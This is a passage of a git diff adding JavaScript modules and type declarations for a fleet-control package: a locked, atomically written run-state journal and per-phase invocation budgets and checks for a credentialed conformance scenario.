+    if (Buffer.byteLength(serialized) > DIRECT_RUN_MAX_JOURNAL_BYTES) invalid();
+    await file.writeFile(serialized);
+    await file.sync();
+    await file.close();
+    file = undefined;
+    await rename(temporary, join(directory, 'journal.json'));
+    created = false;
+    await handle.sync();
+  } finally {
+    const cleanup = await Promise.allSettled([
+      ...(file ? [file.close()] : []),
+      ...(created ? [unlink(temporary)] : []),
+    ]);
+    if (cleanup.some((result) => result.status === 'rejected')) invalid();
+  }
+}
+
+async function exists(path) {
+  try {
+    await lstat(path);
+    return true;
+  } catch (error) {
+    if (error.code === 'ENOENT') return false;
+    throw error;
+  }
+}
+
+async function initializeRun(basePath, base, directory, binding, createdAt) {
+  if (await exists(directory)) throw new DirectRunStateError('run-exists');
+  const staging = join(
+    basePath,
+    `.${binding.resourcePrefix}-${randomUUID()}.tmp`,
+  );
+  await mkdir(staging, { mode: 0o700 });
+  let handle;
+  let published = false;
+  try {
+    handle = await privateDirectory(staging);
+    const snapshot = Object.freeze({
+      version: 2,
+      createdAt,
+      binding,
+      invocationCount: 0,
+      lastInvocation: null,
+      bootstrap: null,
+    });
+    await writeSnapshot(staging, handle, snapshot);
+    if (await exists(directory)) throw new DirectRunStateError('run-exists');
+    await rename(staging, directory);
+    published = true;
+    await base.sync();
+    return { handle, snapshot };
+  } catch (error) {
+    await handle?.close();
+    if (!published) {
+      if (await exists(join(staging, 'journal.json')))
+        await unlink(join(staging, 'journal.json'));
+      await rmdir(staging);
+    }
+    throw error;
+  }
+}
+
+function runJournal(directory, directoryHandle, base, lock, initial) {
+  const queue = new PQueue({ concurrency: 1 });
+  let snapshot = initial;
+  let poisoned = false;
+  let closePromise;
+  const enqueue = (operation) => {
+    if (closePromise) return Promise.reject(new DirectRunStateError());
+    return queue.add(async () => {
+      try {
+        if (poisoned) invalid();
+        const current = await readSnapshot(
+          join(directory, 'journal.json'),
+          snapshot.binding,
+        );
+        if (JSON.stringify(current) !== JSON.stringify(snapshot)) invalid();
+        return await operation();
+      } catch (error) {
+        throw stateError(error);
+      }
+    });
+  };
+  const publish = async (next) => {
+    try {
+      await writeSnapshot(directory, directoryHandle, next);
+      snapshot = next;
+    } catch (error) {
+      poisoned = true;
+      throw error;
+    }
+  };
+  // Every publication decodes the whole snapshot, whatever the caller already
+  // decoded for its own checks: what reaches the journal is what a resume will
+  // read back. A caller that has just decoded one section therefore pays a
+  // second decode of it, and that is the price of the invariant.
+  const publishSnapshot = async (fields) => {
+    const next = await decodeSnapshot(
+      { ...snapshot, ...fields },
+      snapshot.binding,
+    );
+    await publish(next);
+  };
+  const publishBootstrap = (bootstrap) => publishSnapshot({ bootstrap });
+  const assertSettled = () => {
+    if (mutationPending(snapshot) || snapshot.teardown?.pending)
+      throw new DirectRunStateError('outcome-unknown');
+  };
+  const teardownStarted = () =>
+    Boolean(snapshot.teardown) &&
+    TEARDOWN_RECEIPT_ORDER.some((field) =>
+      teardownReceiptSet(snapshot.teardown.receipts, field),
+    );
+  const withinCapacity = async (fields) => {
+    const next = await decodeSnapshot(
+      { ...snapshot, ...fields },
+      snapshot.binding,
+    );
+    if (Buffer.byteLength(serialize(next)) > DIRECT_RUN_MAX_JOURNAL_BYTES)
+      invalid();
+    return next;
+  };
+  return Object.freeze({
+    directory,
+    snapshot() {
+      return snapshot;
+    },
+    recordScenario(value) {
+      return enqueue(async () => {
+        assertSettled();
+        if (teardownStarted()) invalid();
+        const scenario = decodeScenario(value, snapshot.invocationCount);
+        await validateScenarioActions(scenario, snapshot.binding);
+        if (!snapshot.bootstrap?.controlReadOrdinal) invalid();
+        const previous = snapshot.scenario;
+        if (previous) {
+          if (
+            scenario.startedOrdinal !== previous.startedOrdinal ||
+            scenario.callCount < previous.callCount ||
+            DIRECT_SCENARIO_PHASES.indexOf(scenario.phase) <
+              DIRECT_SCENARIO_PHASES.indexOf(previous.phase) ||
+            DIRECT_SCENARIO_PHASES.indexOf(scenario.phase) >
+              DIRECT_SCENARIO_PHASES.indexOf(previous.phase) + 1
+          )
+            invalid();
+          for (const kind of ['provider', 'maintenance', 'application'])
+            if (scenario.attempts[kind] < previous.attempts[kind]) invalid();
+          if (scenario.sdkRequests < previous.sdkRequests) invalid();
+          for (const phase of DIRECT_SCENARIO_PHASES)
+            if (scenario.phaseCalls[phase] < previous.phaseCalls[phase])
+              invalid();
+          for (const group of [
+            'initial',
+            'candidate',
+            'final',
+            'objects',
+            'objectDeletions',
+            'recoveryExportAbsent',
+            'inventories',
+            'audits',
+            'decommission',
+            'terminalForce',
+          ])
+            for (const [key, proof] of Object.entries(previous.proofs[group]))
+              if (proof !== null)
+                equalShape(scenario.proofs[group][key], proof);
+          for (const key of ['cleanup', 'force', 'residual'])
+            if (previous.proofs[key] !== null)
+              equalShape(scenario.proofs[key], previous.proofs[key]);
+          if (previous.failure) equalShape(scenario.failure, previous.failure);
+          if (previous.proofs.restart) {
+            const { resumedProcess, replayOrdinal, ...fixed } =
+              previous.proofs.restart;
+            for (const [key, expected] of Object.entries(fixed))
+              equalShape(scenario.proofs.restart?.[key], expected);
+            if (replayOrdinal !== null) {
+              equalShape(scenario.proofs.restart.replayOrdinal, replayOrdinal);
+              equalShape(
+                scenario.proofs.restart.resumedProcess,
+                resumedProcess,
+              );
+            }
+          }
+          // Which members may still arrive is the decode shape's own
+          // statement: a member it admits as null is one a later record may
+          // fill, and every other member is preserved as recorded.
+          for (const [group, shape] of Object.entries(fenceGroupShape)) {
+            const later = nullableKeys(shape);
+            for (const role of ['a', 'b']) {
+              const entry = previous.proofs.fence[group][role];
+              if (entry === null) continue;
+              const fresh = scenario.proofs.fence[group][role];
+              if (fresh === null) invalid();
+              for (const [key, expected] of Object.entries(entry))
+                if (!later.includes(key) || expected !== null)
+                  equalShape(fresh[key], expected);
+            }
+          }
+          for (const role of ['a', 'b']) {
+            if (previous.proofs.exports[role]) {
+              const { sourceInvocationOrdinal, ...proof } =
+                previous.proofs.exports[role];
+              const { sourceInvocationOrdinal: freshOrdinal, ...freshProof } =
+                scenario.proofs.exports[role] ?? {};
+              equalShape(freshProof, proof);
+              if (freshOrdinal < sourceInvocationOrdinal) invalid();
+            }
+          }
+          for (const key of [
+            'steps',
+            'effects',
+            'health',
+            'exportVerifications',
+          ]) {
+            if (scenario.proofs[key].length < previous.proofs[key].length)
+              invalid();
+            previous.proofs[key].forEach((proof, index) => {
+              equalShape(scenario.proofs[key][index], proof);
+            });
+          }
+        }
+        await publishSnapshot({ scenario });
+      });
+    },
+    recordResume() {
+      return enqueue(async () => {
+        if (mutationPending(snapshot))
+          throw new DirectRunStateError('outcome-unknown');
+        const current = snapshot.resumeCount ?? 0;
+        if (current >= DIRECT_RUN_MAX_RESUME_COUNT) return;
+        await publishSnapshot({ resumeCount: current + 1 });
+      });
+    },
+    recordTeardown(value) {
+      return enqueue(async () => {
+        // Receipts publish while their own mutation is still pending, so this
+        // path takes the narrower gate rather than `assertSettled`.
+        if (mutationPending(snapshot))
+          throw new DirectRunStateError('outcome-unknown');
+        const teardown = decodeTeardown(value);
+        const previous = snapshot.teardown;
+        if (previous) {
+          const position = (phase) => DIRECT_TEARDOWN_PHASES.indexOf(phase);
+          // A recorded refusal re-enters deletion only when its reason is one
+          // a later run can clear, and then only into the phase that follows
+          // it, so re-entry takes the same one-step progression as any other
+          // advance.
+          const reenterable =
+            previous.phase === 'refused' &&
+            DIRECT_TEARDOWN_RECOVERABLE_FAILURES.includes(previous.failure);
+          if (
+            previous.phase === 'refused'
+              ? teardown.phase !== 'refused' &&
+                !(
+                  reenterable &&
+                  position(teardown.phase) === position('refused') + 1
+                )
+              : teardown.phase === 'refused' ||
+                position(teardown.phase) < position(previous.phase) ||
+                position(teardown.phase) > position(previous.phase) + 1
+          )
+            invalid();
+          if (
+            teardown.providerRequests < previous.providerRequests ||
+            Math.max(0, ...teardownOrdinals(teardown)) <
+              Math.max(0, ...teardownOrdinals(previous))
+          )
+            invalid();
+          for (const field of TEARDOWN_RECEIPT_ORDER) {
+            if (field === 'exportObjects') {
+              if (
+                teardown.receipts.exportObjects.length <
+                previous.receipts.exportObjects.length
+              )
+                invalid();
+              previous.receipts.exportObjects.forEach((entry, index) => {
+                equalShape(teardown.receipts.exportObjects[index], entry);
+              });
+            } else if (previous.receipts[field] !== null)
+              equalShape(teardown.receipts[field], previous.receipts[field]);
+          }
+        }
+        await publish(await withinCapacity({ teardown }));
+      });
+    },
+    assertTeardownCapacity(worstCase) {
+      return enqueue(async () => {
+        await withinCapacity({ teardown: worstCase });
+      });
+    },
+    bindBootstrapContext(context) {
+      return enqueue(async () => {
+        assertSettled();
+        const checked = bootstrapContext(context, snapshot.binding);
+        if (snapshot.bootstrap) {
+          const { dispatch: _historical, ...previous } =
+            snapshot.bootstrap.context;
+          const { dispatch: _fresh, ...current } = checked;
+          equalShape(current, previous);
+          return;
+        }
+        if (snapshot.invocationCount !== 0) invalid();
+        await publishBootstrap({
+          context: checked,
+          fleet: null,
+          quota: null,
+          exports: null,
+          upload: null,
+          active: null,
+          ingress: null,
+          controlReadOrdinal: null,
+          pending: null,
+        });
+      });
+    },
+    beginBootstrapMutation(kind) {
+      return enqueue(async () => {
+        assertSettled();
+        const field = mutationField(kind);
+        if (!snapshot.bootstrap || snapshot.bootstrap[field] !== null)
+          invalid();
+        await publishBootstrap({ ...snapshot.bootstrap, pending: kind });
+      });
+    },
+    confirmBootstrapMutation(value) {
+      return enqueue(async () => {
+        object(value, ['kind', 'receipt']);
+        if (value.receipt === null) invalid();
+        const field = mutationField(value.kind);
+        if (
+          !snapshot.bootstrap ||
+          snapshot.bootstrap.pending !== value.kind ||
+          snapshot.bootstrap[field] !== null
+        )
+          invalid();
+        await publishBootstrap({
+          ...snapshot.bootstrap,
+          [field]: value.receipt,
+        });
+        await publishBootstrap({ ...snapshot.bootstrap, pending: null });
+      });
+    },
+    recordBootstrapObservation(value) {
+      return enqueue(async () => {
+        assertSettled();
+        const bootstrap = snapshot.bootstrap;
+        if (!bootstrap) invalid();
+        if (value?.kind === 'active') {
+          object(value, ['kind', 'deploymentId', 'versionId']);
+          const active = {
+            deploymentId: value.deploymentId,
+            versionId: value.versionId,
+          };
+          if (bootstrap.active) {
+            equalShape(active, bootstrap.active);
+            return;
+          }
+          await publishBootstrap({ ...bootstrap, active });
+        } else if (value?.kind === 'control-read') {
+          object(value, ['kind', 'ordinal']);
+          const last = snapshot.lastInvocation;
+          if (
+            last?.state !== 'settled' ||
+            last.action.kind !== 'control-read' ||
+            last.ordinal !== value.ordinal
+          )
+            invalid();
+          await publishBootstrap({
+            ...bootstrap,
+            controlReadOrdinal: value.ordinal,
+          });
+        } else invalid();
+      });
+    },
+    reserveInvocation(serializedRequest) {
+      return enqueue(async () => {
+        assertSettled();
+        if (teardownStarted()) invalid();
+        if (snapshot.invocationCount >= snapshot.binding.maxInvocations)
+          throw new DirectRunStateError('invocation-budget-exhausted');
+        const request = await decodeRequest(
+          serializedRequest,
+          snapshot.binding.configSha256,
+        );
+        const reservation = Object.freeze({
+          ordinal: snapshot.invocationCount + 1,
+          requestSha256: createHash('sha256')
+            .update(serializedRequest)
+            .digest('hex'),
+        });
+        await publish(
+          Object.freeze({
+            ...snapshot,
+            invocationCount: reservation.ordinal,
+            lastInvocation: Object.freeze({
+              ...reservation,
+              action: actionSummary(request.action),
+              state: 'pending',
+            }),
+          }),
+        );
+        return reservation;
+      });
+    },
+    settleInvocation(reservation) {
+      return enqueue(async () => {
+        object(reservation, ['ordinal', 'requestSha256']);
+        const last = snapshot.lastInvocation;
+        if (
+          !last ||
+          reservation.ordinal !== last.ordinal ||
+          reservation.requestSha256 !== last.requestSha256
+        )
+          invalid();
+        if (last.state === 'settled') return;
+        await publish(
+          Object.freeze({
+            ...snapshot,
+            lastInvocation: Object.freeze({ ...last, state: 'settled' }),
+          }),
+        );
+      });
+    },
+    close() {
+      closePromise ??= (async () => {
+        await queue.onIdle();
+        const closed = await Promise.allSettled([
+          directoryHandle.close(),
+          base.close(),
+          lock.close(),
+        ]);
+        if (closed.some((result) => result.status === 'rejected')) invalid();
+      })();
+      return closePromise;
+    },
+  });
+}
+
+async function attachRunState(input, modes) {
+  let base;
+  let lock;
+  try {
+    if (
+      process.platform !== 'linux' ||
+      typeof process.getuid !== 'function' ||
+      !Number.isInteger(constants.O_NOFOLLOW) ||
+      !Number.isInteger(constants.O_NONBLOCK) ||
+      !Number.isInteger(constants.O_DIRECTORY)
+    )
+      throw new DirectRunStateError('lock-unavailable');
+    if (!modes.includes(input.mode)) invalid();
+    const binding = bindingFromInput(input);
+    const basePath = join(
+      dirname(resolve(input.configPath)),
+      '.direct-conformance',
+    );
+    const directory = join(basePath, binding.resourcePrefix);
+    base = await ensureBase(basePath);
+    lock = await acquireLock(
+      join(basePath, `${binding.resourcePrefix}.lock`),
+      base,
+    );
+    return { binding, basePath, directory, base, lock };
+  } catch (error) {
+    await Promise.allSettled(
+      [base, lock]
+        .filter((handle) => handle !== undefined)
+        .map((handle) => handle.close()),
+    );
+    throw stateError(error);
+  }
+}
+
+export async function openDirectRunState(input) {
+  const attached = await attachRunState(input, ['run', 'resume']);
+  const { binding, basePath, directory, base, lock } = attached;
+  let directoryHandle;
+  try {
+    let snapshot;
+    if (input.mode === 'run') {
+      const initialized = await initializeRun(
+        basePath,
+        base,
+        directory,
+        binding,
+        runTimestamp(new Date(runClock(input.now)).toISOString()),
+      );
+      directoryHandle = initialized.handle;
+      snapshot = initialized.snapshot;
+    } else {
+      if (!(await exists(directory)))
+        throw new DirectRunStateError('run-missing');
+      directoryHandle = await privateDirectory(directory);
+      await sweepStagedFiles(
+        directory,
+        JOURNAL_TEMPORARY_PREFIX,
+        JOURNAL_TEMPORARY_SUFFIX,
+      );
+      snapshot = await readSnapshot(join(directory, 'journal.json'), binding);
+      if (mutationPending(snapshot))
+        throw new DirectRunStateError('outcome-unknown');
+    }
+    return runJournal(directory, directoryHandle, base, lock, snapshot);
+  } catch (error) {
+    await Promise.allSettled(
+      [directoryHandle, base, lock]
+        .filter((handle) => handle !== undefined)
+        .map((handle) => handle.close()),
+    );
+    throw stateError(error);
+  }
+}
+
+export async function inspectDirectRunState(input) {
+  const attached = await attachRunState(input, ['inspect']);
+  let directoryHandle;
+  try {
+    if (!(await exists(attached.directory)))
+      throw new DirectRunStateError('run-missing');
+    directoryHandle = await privateDirectory(attached.directory);
+    const snapshot = await readSnapshot(
+      join(attached.directory, 'journal.json'),
+      attached.binding,
+    );
+    let closePromise;
+    return Object.freeze({
+      directory: attached.directory,
+      snapshot,
+      close() {
+        closePromise ??= (async () => {
+          const closed = await Promise.allSettled([
+            directoryHandle.close(),
+            attached.base.close(),
+            attached.lock.close(),
+          ]);
+          if (closed.some((result) => result.status === 'rejected')) invalid();
+        })();
+        return closePromise;
+      },
+    });
+  } catch (error) {
+    await Promise.allSettled(
+      [directoryHandle, attached.base, attached.lock]
+        .filter((handle) => handle !== undefined)
+        .map((handle) => handle.close()),
+    );
+    throw stateError(error);
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts
new file mode 100644
index 00000000..574332f9
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.d.mts
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export interface DirectScenarioPhaseBudget {
+  readonly measured: number;
+  readonly ceiling: number;
+  readonly reserve: number;
+}
+
+export const DIRECT_SCENARIO_INVOCATION_BUDGET: Readonly<{
+  'provision-a': DirectScenarioPhaseBudget;
+  'provision-b': DirectScenarioPhaseBudget;
+  'inventory-before': DirectScenarioPhaseBudget;
+  'audit-before': DirectScenarioPhaseBudget;
+  'fence-drain': DirectScenarioPhaseBudget;
+  'migration-start': DirectScenarioPhaseBudget;
+  'migration-interrupt': DirectScenarioPhaseBudget;
+  'migration-restart': DirectScenarioPhaseBudget;
+  migration: DirectScenarioPhaseBudget;
+  'post-migration': DirectScenarioPhaseBudget;
+  'fence-reopen': DirectScenarioPhaseBudget;
+  'fence-proofs': DirectScenarioPhaseBudget;
+  'inventory-after': DirectScenarioPhaseBudget;
+  'audit-after': DirectScenarioPhaseBudget;
+  'failed-recovery': DirectScenarioPhaseBudget;
+  'cleanup-recovery': DirectScenarioPhaseBudget;
+  'provision-recovery': DirectScenarioPhaseBudget;
+  'delete-objects': DirectScenarioPhaseBudget;
+  'decommission-a': DirectScenarioPhaseBudget;
+  'decommission-b': DirectScenarioPhaseBudget;
+  'force-terminal-a': DirectScenarioPhaseBudget;
+  'force-recovery': DirectScenarioPhaseBudget;
+  'force-observe': DirectScenarioPhaseBudget;
+  'recover-force-residual': DirectScenarioPhaseBudget;
+  complete: DirectScenarioPhaseBudget;
+}>;
+
+export const DIRECT_SCENARIO_PHASES: readonly (keyof typeof DIRECT_SCENARIO_INVOCATION_BUDGET)[];
+
+export const DIRECT_SCENARIO_MIN_INVOCATIONS: number;
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs
new file mode 100644
index 00000000..ebf637dd
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// `measured` is what a phase spends in one uninterrupted end-to-end run, recorded
+// as data. `ceiling` is 2x measured rounded up to a multiple of 8, minimum 16: the
+// cumulative cap on one phase across resumes, wide enough for re-entries that each
+// repeat the entry `sync()` and its observation. Ceilings bound a runaway phase and
+// may sum past the configured budget, because they are a cap and not a reservation.
+// `reserve` is what a phase holds back for itself and the phases after it:
+// `checkInvocationHeadroom` refuses a call once the remaining budget falls
+// below the reserves still to come, so a run that cannot reach `complete`
+// stops at the phase that discovers it rather than part-way through a later one.
+// DIRECT_SCENARIO_MIN_INVOCATIONS adds the bootstrap control read and resume
+// headroom to the sum of every `reserve`: it is the floor
+// `referenceWorker.maxInvocations` clears.
+const MEASURED = Object.freeze({
+  'provision-a': 10,
+  'provision-b': 9,
+  'inventory-before': 22,
+  'audit-before': 57,
+  'fence-drain': 9,
+  'migration-start': 3,
+  'migration-interrupt': 5,
+  'migration-restart': 7,
+  migration: 105,
+  'post-migration': 5,
+  'fence-reopen': 9,
+  'fence-proofs': 9,
+  'inventory-after': 22,
+  'audit-after': 57,
+  'failed-recovery': 4,
+  'cleanup-recovery': 12,
+  'provision-recovery': 7,
+  'delete-objects': 7,
+  'decommission-a': 70,
+  'decommission-b': 70,
+  'force-terminal-a': 4,
+  'force-recovery': 6,
+  'force-observe': 3,
+  'recover-force-residual': 3,
+  complete: 1,
+});
+
+const roundUp = (value, step) => Math.ceil(value / step) * step;
+
+export const DIRECT_SCENARIO_INVOCATION_BUDGET = Object.freeze(
+  Object.fromEntries(
+    Object.entries(MEASURED).map(([phase, measured]) => [
+      phase,
+      Object.freeze({
+        measured,
+        ceiling: Math.max(16, roundUp(2 * measured, 8)),
+        reserve: Math.max(4, roundUp(1.25 * measured, 4)),
+      }),
+    ]),
+  ),
+);
+
+export const DIRECT_SCENARIO_PHASES = Object.freeze(
+  Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET),
+);
+
+export const DIRECT_SCENARIO_MIN_INVOCATIONS =
+  Object.values(DIRECT_SCENARIO_INVOCATION_BUDGET).reduce(
+    (total, entry) => total + entry.reserve,
+    0,
+  ) +
+  1 +
+  8;
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts
new file mode 100644
index 00000000..7f728fdd
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts
@@ -0,0 +1,232 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { CleanupTerminalReceipt } from '../src/types.js';
+import type { DirectInvocationAttempts } from './direct-credentialed-invocation.mjs';
+import type {
+  DirectExpectedWorkerVersion,
+  DirectWorkerVersionObservation,
+} from './direct-credentialed-observations.mjs';
+import type {
+  DIRECT_SCENARIO_FAILURE_DETAILS,
+  DIRECT_SCENARIO_OPERATION_SLOTS,
+  DirectRunActionSummary,
+} from './direct-credentialed-run-state.mjs';
+import type { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs';
+import type { DirectFixtureRole } from './direct-credentialed-spec.js';
+
+export type DirectScenarioNormalRole = Exclude<DirectFixtureRole, 'recovery'>;
+export type DirectScenarioPhase = (typeof DIRECT_SCENARIO_PHASES)[number];
+export type DirectScenarioOperationSlot =
+  (typeof DIRECT_SCENARIO_OPERATION_SLOTS)[number];
+
+export interface DirectScenarioRemoteOperation {
+  readonly slot: DirectScenarioOperationSlot;
+  readonly operationId: string | null;
+  readonly inputJson: string;
+  readonly tokenRevision: number | null;
+}
+
+export interface DirectScenarioOperationFacts {
+  readonly slot: DirectScenarioOperationSlot;
+  readonly operationId: string | null;
+  readonly inputSha256: string;
+  readonly tokenRevision: number | null;
+}
+
+export interface DirectScenarioRemoteRecord {
+  readonly role: DirectFixtureRole;
+  readonly present: boolean;
+  readonly phase?: string | null;
+  readonly desiredSpecDigest?: string | null;
+  readonly pendingSpecDigest?: string | null;
+  readonly artifactVersion?: string | null;
+  readonly pendingArtifactVersion?: string | null;
+  readonly databaseId?: string | null;
+}
+
+export interface DirectScenarioRecordFacts {
+  readonly role: DirectFixtureRole;
+  readonly present: boolean;
+  readonly phase: string | null;
+  readonly desiredSpecDigest: string | null;
+  readonly pendingSpecDigest: string | null;
+  readonly artifactVersion: string | null;
+  readonly pendingArtifactVersion: string | null;
+  readonly databaseId: string | null;
+}
+
+export interface DirectScenarioMigrationItem {
+  readonly ordinal: number;
+  readonly status: string;
+  readonly planCursor: number;
+}
+
+export interface DirectScenarioInterruptedItem {
+  readonly status: string;
+  readonly planCursor: number;
+  readonly entryRecordDigest: string;
+  readonly targetSpecDigest: string;
+}
+
+export interface DirectScenarioInterruptionValue {
+  readonly version: 1;
+  readonly boundary: 'after-migration-admission';
+  readonly slot: 'migration-next';
+  readonly operationId: string;
+  readonly claimJson: string;
+  readonly returnedTokenJson: string;
+  readonly item: Readonly<{
+    ordinal: 0;
+    beforeStatus: string;
+    afterStatus: string;
+    planCursor: number;
+    tenantTag: string;
+    environment: string;
+    entryRecordDigest: string;
+    targetSpecDigest: string;
+  }>;
+}
+
+export interface DirectScenarioInterruption {
+  readonly value: DirectScenarioInterruptionValue;
+  readonly claim: unknown;
+  readonly successor: unknown;
+}
+
+export interface DirectScenarioFootprint {
+  readonly version: 1;
+  readonly role: 'recovery';
+  readonly beforeIdentitySha256: string;
+  readonly fleetRecordPresent: false;
+  readonly deploymentClaimsPresent: false;
+  readonly database: Readonly<{
+    id: string;
+    expectedName: string;
+    observedName: null;
+  }>;
+  readonly worker: Readonly<{
+    scriptName: string;
+    scriptPresent: boolean;
+    workersDevEnabled: false | null;
+    previewUrlsEnabled: false | null;
+    customDomains: readonly never[];
+    zoneRoutes: readonly never[];
+    currentSecretNames: readonly never[];
+    currentVersionIds: readonly string[] | null;
+    currentNamespaceIds: readonly string[];
+    survivingRecordedNamespaceIds: readonly string[];
+  }>;
+  readonly buckets: readonly Readonly<{
+    bindingName: 'PROBE_BUCKET';
+    bucketName: string;
+    jurisdiction: 'default';
+    expectedCreationDate: string;
+    observedCreationDate: string | null;
+  }>[];
+  readonly priorCleanup: Readonly<{
+    operationId: string;
+    observedReceiptSha256: string;
+    matchesBefore: true;
+  }>;
+}
+
+export interface DirectScenarioFootprintContext {
+  readonly resource: DirectWorkerVersionObservation;
+  readonly databaseName: string;
+  readonly cleanup: CleanupTerminalReceipt;
+  readonly versionIdMaximum: number;
+}
+
+export interface DirectScenarioSettledCall {
+  readonly ordinal: number;
+  readonly action: DirectRunActionSummary;
+  readonly outcome: string;
+}
+
+export interface DirectScenarioAllowedChanges {
+  readonly slots: readonly string[];
+  readonly roles: readonly DirectFixtureRole[];
+}
+
+export const NORMAL_ROLES: readonly DirectScenarioNormalRole[];
+export const SCENARIO_ROLES: readonly DirectFixtureRole[];
+
+/**
+ * `detail` is the scenario's own failure-detail vocabulary, so a producer
+ * cannot spell one the journal schema and the evidence projection would then
+ * drop.
+ */
+export function requireFact(
+  condition: unknown,
+  code?: string,
+  detail?: (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number],
+): asserts condition;
+export function equal(actual: unknown, expected: unknown): void;
+export function parse(value: unknown): unknown;
+export function hash(value: string): string;
+export function jsonHash(value: unknown): string;
+export function zeroAttempts(): DirectInvocationAttempts;
+export function phaseInvocationReserve(phase: DirectScenarioPhase): number;
+export function checkInvocationHeadroom(
+  phase: DirectScenarioPhase,
+  phaseCalls: Readonly<Record<DirectScenarioPhase, number>>,
+  remaining: number,
+): void;
+export function changedBy(
+  action: DirectRunActionSummary | null | undefined,
+): DirectScenarioAllowedChanges;
+export function recordFacts(
+  record: DirectScenarioRemoteRecord,
+): DirectScenarioRecordFacts;
+export function operationFacts(
+  operation: DirectScenarioRemoteOperation,
+): DirectScenarioOperationFacts;
+export function expectedVersion(
+  record: DirectScenarioRemoteRecord | null | undefined,
+  release: '1' | '2',
+  candidate?: boolean,
+): DirectExpectedWorkerVersion;
+/** The check reads items one and two, so it takes a pair or longer. */
+export function checkItemConvergence(
+  items: readonly [
+    DirectScenarioMigrationItem,
+    DirectScenarioMigrationItem,
+    ...DirectScenarioMigrationItem[],
+  ],
+): void;
+export function checkTrafficDistribution(
+  candidate: DirectWorkerVersionObservation,
+  previous: DirectWorkerVersionObservation,
+): void;
+export function migrationStartSettled(
+  control: Readonly<{ operations: readonly DirectScenarioRemoteOperation[] }>,
+  mutation: DirectScenarioSettledCall | null | undefined,
+): boolean;
+export function migrationInterruptSettled(
+  control: Readonly<{ interruption: string | null }>,
+  mutation: DirectScenarioSettledCall | null | undefined,
+): boolean;
+export function checkInterruptionWitness(
+  interruption: unknown,
+  expected: Readonly<{
+    operationId: string | null;
+    tenantTag: string;
+    environment: string;
+  }>,
+): DirectScenarioInterruption;
+export function checkInterruptedItems(
+  witness: DirectScenarioInterruptionValue,
+  items: readonly [
+    DirectScenarioInterruptedItem,
+    DirectScenarioInterruptedItem,
+    ...DirectScenarioInterruptedItem[],
+  ],
+): void;
+export function checkFootprint(
+  observation: unknown,
+  expected: DirectScenarioFootprintContext &
+    (
+      | Readonly<{ retained: true; force?: null }>
+      | Readonly<{ retained: false; force: DirectScenarioFootprint }>
+    ),
+): DirectScenarioFootprint;
diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs
new file mode 100644
index 00000000..ab0ca681
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs
@@ -0,0 +1,275 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { isDeepStrictEqual } from 'node:util';
+import {
+  DIRECT_SCENARIO_INVOCATION_BUDGET,
+  DIRECT_SCENARIO_PHASES,
+} from './direct-credentialed-scenario-budget.mjs';
+import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs';
+
+export const NORMAL_ROLES = Object.freeze(['a', 'b']);
+export const SCENARIO_ROLES = Object.freeze([...NORMAL_ROLES, 'recovery']);
+
+export function requireFact(condition, code = 'observation-mismatch', detail) {
+  if (!condition)
+    throw Object.assign(
+      new Error(code),
+      { code },
+      detail === undefined ? {} : { detail },
+    );
+}
+
+export function equal(actual, expected) {
+  requireFact(isDeepStrictEqual(actual, expected));
+}
+
+export function parse(value) {
+  requireFact(typeof value === 'string');
+  return JSON.parse(value);
+}
+
+export const hash = (value) => createHash('sha256').update(value).digest('hex');
+
+export const jsonHash = (value) => hash(JSON.stringify(value));
+
+export const zeroAttempts = () => ({
+  provider: 0,
+  maintenance: 0,
+  application: 0,
+});
+
+export function phaseInvocationReserve(phase) {
+  const index = DIRECT_SCENARIO_PHASES.indexOf(phase);
+  requireFact(index >= 0, 'invalid-input');
+  return DIRECT_SCENARIO_PHASES.slice(index).reduce(
+    (total, entry) => total + DIRECT_SCENARIO_INVOCATION_BUDGET[entry].reserve,
+    0,
+  );
+}
+
+export function checkInvocationHeadroom(phase, phaseCalls, remaining) {
+  requireFact(
+    Number.isSafeInteger(remaining) && remaining >= 0,
+    'invalid-input',
+  );
+  requireFact(remaining > 0, 'invocation-budget-exhausted');
+  requireFact(
+    Object.hasOwn(DIRECT_SCENARIO_INVOCATION_BUDGET, phase),
+    'invalid-input',
+  );
+  const budget = DIRECT_SCENARIO_INVOCATION_BUDGET[phase];
+  const spent = phaseCalls?.[phase];
+  requireFact(Number.isSafeInteger(spent) && spent >= 0, 'invalid-input');
+  requireFact(spent < budget.ceiling, 'budget-exhausted', 'phase-ceiling');
+  requireFact(
+    remaining >=
+      phaseInvocationReserve(phase) - Math.min(spent, budget.reserve),
+    'budget-exhausted',
+    'run-reserve',
+  );
+}
+
+export function changedBy(action) {
+  if (!action) return { slots: [], roles: [] };
+  const { kind, role, slot, release } = action;
+  if (kind === 'provision')
+    return {
+      slots: [
+        role === 'recovery' && release === 'initial'
+          ? 'cleanup-recovery-initial'
+          : `cleanup-${role}`,
+      ],
+      roles: [role],
+    };
+  if (kind.startsWith('inventory-')) return { slots: [slot], roles: [] };
+  if (kind.startsWith('audit-')) return { slots: [slot], roles: [] };
+  if (kind.startsWith('migration-'))
+    return { slots: ['migration-next'], roles: [...NORMAL_ROLES] };
+  if (kind.startsWith('cleanup-'))
+    return { slots: [`cleanup-${role}`], roles: [role] };
+  if (kind.startsWith('decommission-'))
